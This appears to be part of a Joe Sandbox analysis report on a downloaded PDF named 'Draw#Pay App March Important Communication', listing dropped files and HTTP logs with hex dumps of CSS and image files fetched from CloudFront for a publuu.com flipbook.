Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Downloads\7b3d912b-fe5b-40a0-9771-43e1c163d140.tmp

C:\Users\user\Downloads\927e3f7f-6486-4fd5-966d-130879902320.tmp

C:\Users\user\Downloads\Draw#Pay App March Important Communication.pdf (copy)

C:\Users\user\Downloads\Draw#Pay App March Important Communication.pdf.crdownload

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:21 UTC	627	OUT	GET /flipbook/202503/02/assets/css/Ranger/xs.css?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:21 UTC	408	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 1512 Connection: close Server: CloudFront Date: Wed, 26 Mar 2025 17:36:21 GMT Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 d2b8f634cf8ac5ec77dee366297223bc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: AYfvyxKf3yF1kaRMbq4XQAkjsH8oVOUwjhAII81e828Kk1km2By5fQ== Cache-Control: max-age=31536000 Vary: Origin
2025-03-26 17:36:21 UTC	1512	IN	Data Raw: 23 7a 6f 6f 6d 72 61 6e 67 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 23 38 32 63 66 64 30 20 30 2c 23 38 32 63 66 64 30 20 35 30 25 2c 23 66 66 66 20 35 30 25 2c 23 66 66 66 20 31 30 30 25 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 68 65 69 67 68 74 3a 37 70 78 3b 77 69 64 74 68 3a 33 35 36 70 78 3b 6f 75 74 6c 69 6e 65 3a 30 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 34 35 30 6d 73 20 65 61 73 65 2d 69 6e 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 33 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 65 6d 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 61 70 Data Ascii: #zoomranger{background:linear-gradient(to right,#82cfd0 0,#82cfd0 50%,#fff 50%,#fff 100%);border-radius:8px;height:7px;width:356px;outline:0;transition:background 450ms ease-in;-webkit-appearance:none;z-index:3;border-radius:5em;-webkit-appearance:none;ap

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:21 UTC	668	OUT	GET /831678/1829815/txt/1829815_1_250_blured.webp HTTP/1.1 Host: d1uiew9hysv4w7.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:21 UTC	568	IN	HTTP/1.1 200 OK Content-Type: image/webp Content-Length: 3918 Connection: close Date: Wed, 26 Mar 2025 17:36:22 GMT Last-Modified: Wed, 26 Mar 2025 11:39:40 GMT ETag: "ccc51cffb020a17c82ba9209b4f65f0b" x-amz-server-side-encryption: AES256 x-amz-version-id: fREOv_nllz.g8YxZC5DI8_q82i2vAOEK Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 1ffe498380a643d1bb2efaa624b761a6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C1 X-Amz-Cf-Id: lLBoPB1-Z5Z6s3w4UKvOgzZuTkohD6hJDJpDS_W6AITXqurQNOqXZA== Cache-Control: max-age=86400
2025-03-26 17:36:21 UTC	3918	IN	Data Raw: 52 49 46 46 46 0f 00 00 57 45 42 50 56 50 38 20 3a 0f 00 00 30 a3 00 9d 01 2a 61 01 fa 00 3e 09 02 81 40 81 01 00 00 10 96 96 c3 eb 61 6f b3 77 17 71 ea 83 ca 54 0c 80 6a 02 01 2a f0 cd ff 36 be 8f 8f 12 06 b2 f7 cb 5f ef ea 23 71 ef 3f 6d e6 2f a7 6e 11 8f ff 3f 4e 3e ce 68 2f cf 79 f1 62 ef e8 7f ff f2 1d ff ff 2f cd a8 fb ff 3d 9e b3 65 09 a7 67 ba bf 38 e0 1e 88 05 9b a2 5b 0b d2 3f 46 65 d9 01 8f 95 1d 94 93 9c 24 b3 23 f4 2b 9a 99 bf c8 33 fa d2 1d 5e 8f f4 0d 4f 7c 43 ff 84 e3 b7 d7 99 64 9a a4 ef da c3 bc 32 34 b0 2f 68 6f 8a 44 0e a0 7c 0b d5 12 1d ca 2a 2f 53 ef ab 68 7e b1 6a dd fa 8d 7a 8f 85 2b a9 64 b0 82 79 27 a2 4b 30 91 9e e8 82 cc e5 51 07 64 83 45 c3 b6 aa 77 55 c1 00 ef e3 e7 59 3e ef 22 60 0e c7 0f ce c3 3f fd 18 57 12 d6 00 38 8d 3a Data Ascii: RIFFFWEBPVP8 :0a>@aowqTj6_#q?m/n?N>h/yb/=eg8[?Fe$#+3^O\|Cd24/hoD\|*/Sh~jz+dy'K0QdEwUY>"`?W8:

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:21 UTC	661	OUT	GET /831678/1829815/txt/1829815_1_400.webp HTTP/1.1 Host: d1uiew9hysv4w7.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:21 UTC	569	IN	HTTP/1.1 200 OK Content-Type: image/webp Content-Length: 46028 Connection: close Date: Wed, 26 Mar 2025 17:36:22 GMT Last-Modified: Wed, 26 Mar 2025 11:39:40 GMT ETag: "6eb0925808ba4fb0f5bef26103700a5d" x-amz-server-side-encryption: AES256 x-amz-version-id: FKbvAnfSnbUfYAQwdZ_zQP3on7m3fNTZ Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 34d27d5dec8d9c8d04bc61d1e0056be2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C1 X-Amz-Cf-Id: KfCxDsq9LOaQISPrPRyLeuW6B46EMEOe3H5McxXFIKx0U3VgcG3NvQ== Cache-Control: max-age=86400
2025-03-26 17:36:21 UTC	16384	IN	Data Raw: 52 49 46 46 c4 b3 00 00 57 45 42 50 56 50 38 20 b8 b3 00 00 d0 98 01 9d 01 2a 35 02 90 01 3e 09 02 81 40 81 30 00 00 10 96 76 ed 19 8b f7 ba 9e 2c 6e 14 90 b8 a6 3c a3 d1 d7 cb 03 65 22 f1 b8 29 3e 71 fc 5d e8 3f ae 7e 2f fe 43 f5 81 6f 7f 77 3f 6d bf c7 7e 37 d6 c9 e5 5f 95 f2 27 f1 8f cb bf ab fe 3e 7f 69 ff c7 f5 eb f6 57 d9 4f e6 ef ee 1e e0 1f a4 7f d3 3f ac fe bc 7f 6a f8 c0 f5 b9 fb 25 ea 0f f9 17 f3 bf ef 1f e1 fd e9 ff ae ff 22 f6 5b fa 8b fd e7 dc 03 f8 df f3 9f 9f ff aa af 63 bf ea bf d6 bd 80 3f 92 7f 34 f4 99 ff 53 fe 23 e1 0b f6 3f fd df f8 7f 80 5f e5 1f d1 7e f2 bf 7f fe c0 3a 40 3d 51 fe 0f f6 03 c1 f7 ec df d9 ff 20 7f b8 ff cc f5 3f f1 4f 91 7e 9b fd 93 fc 6f f7 ff ec 1f f9 7f d0 7c 5f 7f 37 de f7 a3 ff db ff 96 fd d4 f7 0b f8 ff d8 0f Data Ascii: RIFFWEBPVP8 *5>@0v,n<e")>q]?~/Cow?m~7_'>iWO?j%"[c?4S#?_~:@=Q ?O~o\|_7
2025-03-26 17:36:21 UTC	575	IN	Data Raw: 74 c3 bb 5a be 04 23 d0 f4 52 95 1d eb 70 1b c7 2b cc ef 64 ff a0 1f f4 9a 66 5c 69 48 dd a3 e9 56 40 b0 10 e2 37 b9 0d 18 75 6c 07 e1 ce 45 f2 0f 75 a7 f8 0e e7 e4 70 bd cf 26 e8 6f 64 ff a0 06 12 dd 1a 90 ac 1d 58 70 39 f9 0d c4 1c c8 f0 f5 a7 30 56 97 d6 0a bf 6a 18 51 4a 14 a1 f4 01 ea 9a 45 59 3d 5e 26 07 ef 5a 0e a5 25 18 68 b9 1d 72 2f 20 67 63 a1 7d e6 00 50 31 d3 02 8e 05 52 1d 9c d0 bd bb cb 33 5a 34 73 d9 38 8e c9 9e 49 21 38 76 17 84 c6 cb 5d 7f db 5a df 31 28 86 17 4f d6 2e 4e 51 a2 cf d5 64 57 e7 a3 23 98 59 4d 63 fe 4b b6 e3 fc 18 f7 31 d7 64 ba a2 2e f4 f0 d7 28 1f 8d 3a 5e 61 32 aa 77 de e6 85 ad 64 81 e2 cb 72 e9 cb b8 7d 8c b2 97 60 5e b1 f2 cd d9 d6 a5 e6 48 8a 3b ed e4 77 bb ec 90 07 a6 3c 97 ad 59 55 48 f7 94 6e 39 c0 d4 2b 81 3e e9 Data Ascii: tZ#Rp+df\iHV@7ulEup&odXp90VjQJEY=^&Z%hr/ gc}P1R3Z4s8I!8v]Z1(O.NQdW#YMcK1d.(:^a2wdr}`^H;w<YUHn9+>
2025-03-26 17:36:21 UTC	16384	IN	Data Raw: ca b5 23 ea 00 56 dc 93 40 e0 ca 02 8a 48 7c da 84 bf 29 38 fb 94 f7 47 f6 bf 11 1f 7a 5f 52 ec 16 33 48 20 2a 87 1f b0 c6 1d 33 e1 de 3c 2e ac 30 d7 8b a1 d5 22 8e b5 33 04 06 fb 52 29 47 14 eb f7 54 43 c0 35 8d 75 11 2b f6 a1 c7 7e f3 32 e7 8d cd 7c cf 46 c0 71 58 b4 71 83 32 97 63 00 b3 48 61 77 d9 d0 ed e6 ce 9b 91 86 00 ec 07 28 ff 1f 3c 41 9a ac ea 1d c4 d1 12 ff d8 d3 9a 2d 4f 48 bb 4d f4 61 fd 47 68 7c 58 a9 29 c2 00 3b 16 cc c0 cb 38 7f 30 bb 99 62 e4 af 13 98 42 10 2a 77 55 4b 39 d2 18 b7 3a 96 e4 c2 c9 0c 27 28 24 0d 44 6b d8 4c 49 a9 bc 35 44 98 73 b8 18 f0 31 1d 2e c3 c0 90 0e 53 d5 e3 ab c7 d2 53 91 e8 6b f4 34 54 f6 1c 7f 26 57 38 23 15 ca b8 e6 e5 43 9a 48 af 5b 43 e5 d8 85 3f ad 4b a1 da 95 5a e9 b7 9d 1c 04 e3 78 25 2c d6 6c de eb 38 22 Data Ascii: #V@H\|)8Gz_R3H 3<.0"3R)GTC5u+~2\|FqXq2cHaw(<A-OHMaGh\|X);80bBwUK9:'($DkLI5Ds1.SSk4T&W8#CH[C?KZx%,l8"
2025-03-26 17:36:21 UTC	12685	IN	Data Raw: 99 56 84 de 55 09 cd 5b cf 66 9b 63 9c 8d c9 bc 9e ce 0f 6c a8 c2 5e 78 84 e2 bd 10 a9 c9 75 08 ed db 82 65 63 2b 19 59 37 81 78 bb b4 7a 2a a2 07 4b f2 96 ab 8e 6b d4 13 36 d5 af 1e 7b f1 6d 9f 6a a9 81 96 a7 f3 b9 26 16 27 8d 65 51 a8 ec db 80 5a df 09 79 42 5a 5c f2 ff bc 0c 65 17 db 0a 2f cc 29 92 20 50 b6 a5 23 e6 42 6d 40 83 3c 74 cc c6 57 fb 7d a6 18 5b 0b 10 06 9a f1 b2 81 b0 d9 91 2e e8 b6 12 40 ba 42 a3 d9 94 08 ff f5 08 8a b8 13 82 17 3e b5 72 0a ac a0 ea 89 9b 16 94 fc 70 0e 44 ec 40 b5 86 f5 19 00 9f 45 aa 22 5d 32 a9 38 0b 09 7b 65 12 8c 3f a1 4f 5c 5b 61 50 52 25 bd a9 c9 6b 60 08 e4 d7 b5 a8 a6 f4 88 48 0d 38 c3 2e 02 ee 08 54 3b dd bd 7c 5c 47 a1 34 46 92 d1 b1 de 2a 09 7e 3f f8 0c 14 c3 5b 5f c6 54 cc 72 2f 67 a8 b6 e6 bc 3f 26 a9 c3 07 Data Ascii: VU[fcl^xuec+Y7xzKk6{mj&'eQZyBZ\e/) P#Bm@<tW}[.@B>rpD@E"]28{e?O\[aPR%k`H8.T;\|\G4F~?[_Tr/g?&

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:21 UTC	661	OUT	GET /831678/1829815/txt/1829815_1_800.webp HTTP/1.1 Host: d1uiew9hysv4w7.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:21 UTC	570	IN	HTTP/1.1 200 OK Content-Type: image/webp Content-Length: 118550 Connection: close Date: Wed, 26 Mar 2025 17:36:22 GMT Last-Modified: Wed, 26 Mar 2025 11:39:40 GMT ETag: "a9b02b326718cfda395c7cac4f72bb3e" x-amz-server-side-encryption: AES256 x-amz-version-id: IZeJ49qJ80xXxczo2WqZgHnYw3vpnCHD Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 4c18e6ed879a674305cb5156731cf396.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C1 X-Amz-Cf-Id: qhFSA4vQoa20ZRJEktvYF1Wjc1xkAcP0z3aDrCrnIx-PQN8v3IGqqA== Cache-Control: max-age=86400
2025-03-26 17:36:21 UTC	15478	IN	Data Raw: 52 49 46 46 0e cf 01 00 57 45 42 50 56 50 38 20 02 cf 01 00 b0 32 05 9d 01 2a 6a 04 20 03 3e 09 02 81 40 81 0a 00 00 10 96 96 ed cc 85 b6 f6 6c 22 fe bb 98 7e 39 3d 47 fd 2f a0 16 23 ff cd d8 bf b2 7f e3 f5 1f e2 5f 26 74 74 f2 67 fd 5d 75 83 20 6d ad 7e d4 d6 67 f7 1e 00 b7 2c f3 df f3 3e a3 1f d6 7f 52 7f 00 3a 8b da 02 a3 a7 f9 de 41 bf 6a ff 77 ea 2f 4f fb ef 70 76 68 75 7f 62 df ae 9f e8 fe 55 39 1f ae 9f 0f f7 33 f6 b3 fc 97 e2 8f f2 ff cc f4 4d f6 9f ea bf d8 fe 40 7b 4a f9 77 e6 1f d6 7f b6 fe b5 7f 62 ff 8d f5 9b fe 6f f9 4f c5 2f 97 3f d9 3f bf 7f 76 f7 01 fd 21 fe 99 fd 57 fc a7 f7 4f ed ff f5 7e cd ff d8 fd 77 f8 03 fb 71 fe ab d8 1f f2 6f e6 1f df 7f b3 fd f6 fd d3 7f aa ff 1f fd e7 dd 77 f6 5f eb 3f e9 7f c2 7c 00 7f 1f fe 63 f3 ff f5 b5 ec Data Ascii: RIFFWEBPVP8 2*j >@l"~9=G/#_&ttg]u m~g,>R:Ajw/OpvhubU93M@{JwboO/??v!WO~wqow_?\|c
2025-03-26 17:36:21 UTC	1480	IN	Data Raw: 39 99 d1 e1 a4 a6 ce 9b 0d f1 c5 f5 4f 9f ca d1 a9 f7 62 dd 7e 08 52 56 83 3f 16 b5 88 7f 64 01 8c d3 0c 97 d4 8a 4f 17 8c ac e0 63 81 e5 23 3a f7 e5 df 4f 37 88 9d 62 3b 58 9e a7 98 4c b0 99 dd 00 fc 08 33 26 b1 82 21 4b 90 0f fb 6f 82 4e 99 c9 71 5c a5 fc 15 90 2f b2 53 71 51 2e 61 39 a1 62 64 4f d8 dd ac 26 c9 f6 49 08 13 66 50 3f f5 14 2d d6 45 55 28 c5 46 42 ff d0 58 44 8a 83 6b 13 ce 52 04 65 ca a2 2a 3c 15 fe 11 d5 8a 21 64 29 eb 6d 11 de 7f 4e ac 41 b1 85 d1 81 4f b1 43 c5 78 b2 38 e0 b1 f4 f3 5a 5d 40 09 9d 2f 91 33 60 cb 0f 60 14 e6 eb b0 f5 57 89 f6 9b 1e 0b 46 61 80 91 35 d5 45 b8 6b 68 ee 5c 6b 01 6e b6 f8 6b 19 b8 eb 3b 0b e6 42 83 e2 e9 74 cd 31 2a 3a 0e 63 ed d8 77 88 ce 4e ff eb 81 05 0a 99 f3 3d d6 f6 56 bb f4 22 e9 cb 91 87 6b a4 60 8b Data Ascii: 9Ob~RV?dOc#:O7b;XL3&!KoNq\/SqQ.a9bdO&IfP?-EU(FBXDkRe<!d)mNAOCx8Z]@/3``WFa5Ekh\knk;Bt1:cwN=V"k`
2025-03-26 17:36:22 UTC	16384	IN	Data Raw: a9 3b 74 bf fb 66 4c 19 b4 d9 bf c3 b8 e8 9f 9e 60 0c 98 57 e3 15 ec 51 7f bb 95 15 f3 b3 ca 19 27 84 3e e7 37 8f 03 7e 5c c2 22 1d 0c 5c d8 9a a4 03 7b 41 47 c8 3b 2b 10 c6 d4 72 0a 86 35 b9 25 f2 c1 f8 c3 e3 aa 44 e6 a9 91 57 5c 5f 5b e6 87 1c 7e a0 eb 78 7f 8d cc 59 0a 84 03 26 b7 2f dd 68 1d 16 5e ff 31 f2 11 b4 f8 a5 f5 a3 61 97 9e e8 86 7b 1c fc 99 58 cc 5e 54 93 b1 80 68 ad 03 e2 b7 2e 4c 11 8b 86 45 40 f0 4f f3 15 35 bb bf 63 57 5a ea 05 e9 dd 51 20 36 52 63 a6 2d 8e 96 66 f7 34 c4 bf 27 a5 6a ae b4 39 ba da 2a 80 cc 89 f8 a5 d6 cb c8 a1 24 87 a5 c4 c0 8f bf 14 b0 7e c6 e7 0f 2b 63 e6 32 93 eb be c9 5f ca a7 78 26 fe c9 8f 74 58 c4 0f 0b 16 83 d0 46 db 00 f8 b3 5b db 35 56 c0 e9 8f 97 58 de e5 23 d4 b7 ca e8 24 e9 20 e4 b0 54 84 e7 29 34 cc 46 38 Data Ascii: ;tfL`WQ'>7~\"\{AG;+r5%DW\_[~xY&/h^1a{X^Th.LE@O5cWZQ 6Rc-f4'j9*$~+c2_x&tXF[5VX#$ T)4F8
2025-03-26 17:36:22 UTC	8949	IN	Data Raw: fc 54 82 19 8c 11 ad 9b 86 ae f5 bb 74 f9 5f ff 32 7f 8b 9f b9 d7 a4 ad c8 08 8f 51 82 51 2f 85 14 8f e7 9d 90 d5 1b e7 dd ec de 5f 35 82 16 a3 72 7f 83 d1 79 e5 72 1d 80 9b 9c ca ac de 62 05 cc 6b de 78 2e 5b 76 f6 bd 82 82 4e 2d 4e c8 f3 76 e8 fd d4 e1 35 8c a5 a4 f6 10 67 f4 b0 97 e5 e9 41 d4 16 ff 8b 8e 4c d2 1d c2 28 df 31 a2 91 43 5c f0 1a f2 f5 69 c5 92 c3 67 e1 e7 81 7a 90 74 77 86 a4 7b 0d 0d db 8f 31 b9 de e9 d7 86 a7 ad c7 08 bc f3 56 fb df 03 2f 84 71 f3 b0 b8 ba 1b d3 e8 b3 3b 4c 62 c9 9e bd 2a d8 e1 f3 ce 06 fd 50 fa 53 23 5b 02 2a 84 5e 8f 77 63 b5 0f f2 8e e0 cd 2f 5f 43 df e5 5e 42 3a 1e 6c 8d 9d 50 6c 20 98 d6 64 e1 ba 26 20 d7 35 89 ee ef 30 b5 bd 6e 2d ae 6a 6b c1 1c 9f 75 fd 06 fa 96 f6 b2 b2 c0 d1 98 1f 2d 26 8e 5f c2 9a c2 cb 20 6c Data Ascii: Tt_2QQ/_5ryrbkx.[vN-Nv5gAL(1C\igztw{1V/q;LbPS#[^wc/_C^B:lPl d& 50n-jku-&_ l
2025-03-26 17:36:22 UTC	16384	IN	Data Raw: e5 87 b4 73 dc f9 69 f2 e5 05 91 78 4b 07 02 84 72 00 87 11 17 eb e1 b5 7f 8b 3a 37 b2 89 4c a1 97 43 12 e9 25 39 24 ef bf 9a a9 0a 31 0a 34 f8 4f 5e d7 b4 5a 4f 34 cd ba 02 39 5e 0f 47 6a 8d b2 f2 f2 f4 94 88 01 aa 9d e3 9d fd cb 23 02 46 87 d6 37 b9 14 ac 69 5d 3d 33 d7 4f 72 70 28 1e 1b 6c cd 2a 5b 1f 30 6b cd 2c ac 58 2e 86 4b c0 81 ad cc d5 50 a6 64 64 47 40 a6 8d 72 40 be 15 80 2b 52 75 2b f7 23 57 56 26 75 a7 8c f2 44 e3 20 7c 50 24 2d 87 43 b7 ca 7d 4f a4 1f 40 05 82 27 7c 76 b7 51 26 5a 22 73 f8 de 56 f7 91 3f d4 c8 bb 64 72 13 b3 c3 20 23 27 fb 6f 30 89 10 31 76 38 32 7c c9 56 67 d6 af 6e 82 51 eb 21 68 66 d7 d0 2b d6 07 80 aa 05 05 e5 b6 42 d3 10 51 a0 c2 45 7f ed 05 7d 4a 3e c1 20 dc 8d 0d a8 0f 6b b3 91 8c c2 b5 d1 dd 5d 4d 93 46 d3 9b 98 ca Data Ascii: sixKr:7LC%9$14O^ZO49^Gj#F7i]=3Orp(l*[0k,X.KPddG@r@+Ru+#WV&uD \|P$-C}O@'\|vQ&Z"sV?dr #'o01v82\|VgnQ!hf+BQE}J> k]MF
2025-03-26 17:36:22 UTC	12237	IN	Data Raw: 07 df b5 62 cc b6 f0 f0 1d ca fa 7d 10 b1 5d 4d 66 3b 05 00 6d 19 69 60 ec ec 34 e9 81 d7 c5 e5 f0 c8 dd e2 a9 98 a0 66 e9 a7 e3 48 a9 53 3c 82 26 29 94 7c 2a 0d ae 07 2a 72 27 97 06 3e 35 bd 75 02 29 99 fb e0 30 25 9f 8b d0 f3 5c 24 f8 02 e0 69 50 2e 2b 6d a8 a0 5d 8b 08 a4 95 96 21 1d b0 17 71 3f 09 b6 27 f4 71 6a 59 ea 72 e0 c8 df c6 49 d7 83 eb 28 a5 c3 c5 d5 ec ea 8f c2 e0 e8 7a d7 eb 79 34 51 d7 8d d2 e2 90 b4 a1 e6 47 11 7c e5 fd dd 3e 46 81 47 05 21 2a de d6 60 0a 8e cf d3 a8 86 83 4f 67 af 6c ae 22 97 2e d6 ef e2 8b 96 5d 1c 19 50 00 f4 44 9d 38 6a da 5d 93 ab ba 26 c2 28 02 ef 6d 34 4e 5a 81 10 4a 79 d6 d2 5a be 27 4d 9b 85 36 be dd 7e b4 71 e2 4f 37 6d 6d ad 1d d5 86 b7 db ee ee dc 25 e1 0a 13 00 45 97 ef 8f 1d 7e c5 96 ef f5 6f 2b 42 7b 69 7e Data Ascii: b}]Mf;mi`4fHS<&)\|*r'>5u)0%\$iP.+m]!q?'qjYrI(zy4QG\|>FG!`Ogl".]PD8j]&(m4NZJyZ'M6~qO7mm%E~o+B{i~
2025-03-26 17:36:22 UTC	16384	IN	Data Raw: 77 50 e3 5f e7 13 fc 4e 4b 56 f4 5b eb b4 7a 9d 19 15 ee 91 9e 7b 46 0f 2f 62 69 6a 0e f1 b9 c7 80 37 ca 22 eb e3 72 0a 7f 77 36 bb 3e 8e 8d b7 6e fd 29 1b 8f ec 29 3c 94 77 36 6a 01 6c c1 73 55 f1 11 f5 ff 81 d1 fc 4f 8f 0b 90 84 85 dc 33 19 63 40 c9 3e ba 19 46 c8 ce 7f 41 d2 1c 09 37 a4 bc 36 c7 8d 82 e2 3b de de 17 75 ff d6 68 e3 c5 ff f2 92 d8 ca 3a 69 30 e2 a4 37 14 50 15 17 2d 8e 24 1c 98 cc 3f e8 ef 37 77 75 25 e5 51 a8 57 79 cc b1 9d 5c 28 95 20 ad a1 45 2d 60 1a a3 8e ff 6e 88 08 40 42 2b 1a b8 bb 0d 34 a2 98 78 78 a9 fd f7 ff 03 fb 33 56 fe b3 db 8d e6 29 52 f0 9d 4b 14 33 80 e0 07 41 11 a7 a7 67 7b 91 8f 99 c0 b3 1f a4 58 f9 39 52 90 54 5e 1a 48 a5 fa 4b 64 6c 48 36 09 0b 3c 7e ed 15 de 2f 16 bb 19 82 ae e2 13 1e 3b d6 8f a2 88 d1 77 54 14 39 Data Ascii: wP_NKV[z{F/bij7"rw6>n))<w6jlsUO3c@>FA76;uh:i07P-$?7wu%QWy\( E-`n@B+4xx3V)RK3Ag{X9RT^HKdlH6<~/;wT9
2025-03-26 17:36:22 UTC	12398	IN	Data Raw: a8 19 45 f0 4b 01 71 61 97 4d fb ea 1d 67 13 46 c1 3e 7f fd 1c 23 2e 65 4c 4f 5d 5c c5 5f 9c 44 07 7e d8 7e 07 64 a9 4d 5d 66 88 25 86 a7 cb e4 34 73 e9 c3 6e 4d b4 8b 16 c9 6e a4 36 cf 1d 88 e3 66 27 66 a9 62 7f 41 1d 6e 03 65 03 9f f0 35 b6 e4 47 6f 69 85 e7 84 3a b5 cb cd 85 92 b9 a7 f5 d4 88 b5 7a 75 78 59 44 d0 2b 52 7b af 8b 97 35 26 78 f8 e9 73 77 80 e5 36 f5 d8 20 5e 77 93 37 79 43 59 4c 4c fb 31 7e 4c 9f a2 91 d7 6e 25 99 14 74 1c d7 d0 ff 1b 67 a0 5a 3a 90 88 f3 ac 6d cf 6e 6b 07 71 82 9e 3d 65 2d f4 30 d9 81 7e 2a 75 f2 44 41 d4 00 b2 e3 08 b2 b3 c5 ca b7 cd 7e 33 a0 3d a6 06 06 0e 08 79 2b 91 64 17 74 0b 1a 4e 2c ef 2d 6e 1e df 06 cd eb 45 6e bb 8a 8d 85 0c 5f 3d 86 5b 8e 24 f3 45 f4 0c 8d 87 0f 6a bc ca 1c 66 bc 91 a8 ef c7 33 1a e5 d4 cd 3b Data Ascii: EKqaMgF>#.eLO]\_D~~dM]f%4snMn6f'fbAne5Goi:zuxYD+R{5&xsw6 ^w7yCYLL1~Ln%tgZ:mnkq=e-0~*uDA~3=y+dtN,-nEn_=[$Ejf3;
2025-03-26 17:36:22 UTC	16384	IN	Data Raw: 84 dc 6f 76 26 10 ef 6a 43 17 92 6d 31 2b 4e 92 b0 e6 d8 37 57 5e de c2 d3 d4 0a 48 8e b4 58 bb 65 2e e3 bd 92 fb 00 69 d8 e7 dc 25 49 28 1c 84 96 82 45 47 b3 c0 c7 eb 0a 82 20 49 df aa d5 ac 3d 5d fd a9 a2 8e 7f 3d a4 09 b9 3b 98 ff af 32 7e 5c e2 10 8e a0 ee 82 9a e8 1f fd 33 b1 f9 7e 60 ee c9 74 f0 b0 62 72 5c fd 3a 95 41 47 a8 96 c5 aa 9d 9e f2 a2 3e 73 bd e2 91 a9 57 c4 91 d7 db 5c 7e bc d5 9c 32 9e 0d d3 9a 3e 59 50 c0 d4 61 e6 8b 8f 7d 49 0e d2 9b 1b d1 5e 5e 06 81 b2 6e 10 8f b2 dc 65 94 27 48 2f a2 94 0c 19 ae ef e6 3a 96 53 1a e1 01 8b 77 d5 24 f6 d0 37 d2 42 5d 5b e3 5b 4e 8a 8c 79 24 7c fc 69 83 df c0 08 45 70 43 2e b6 7a 16 a8 f8 d7 a1 f6 8d b7 3d 1d 6c 7e 6c 68 f8 ec e8 a0 d9 ba 31 f9 06 6c 26 af fd e9 a5 fc 38 2c 8b d8 73 e2 86 0a 7b ce 92 Data Ascii: 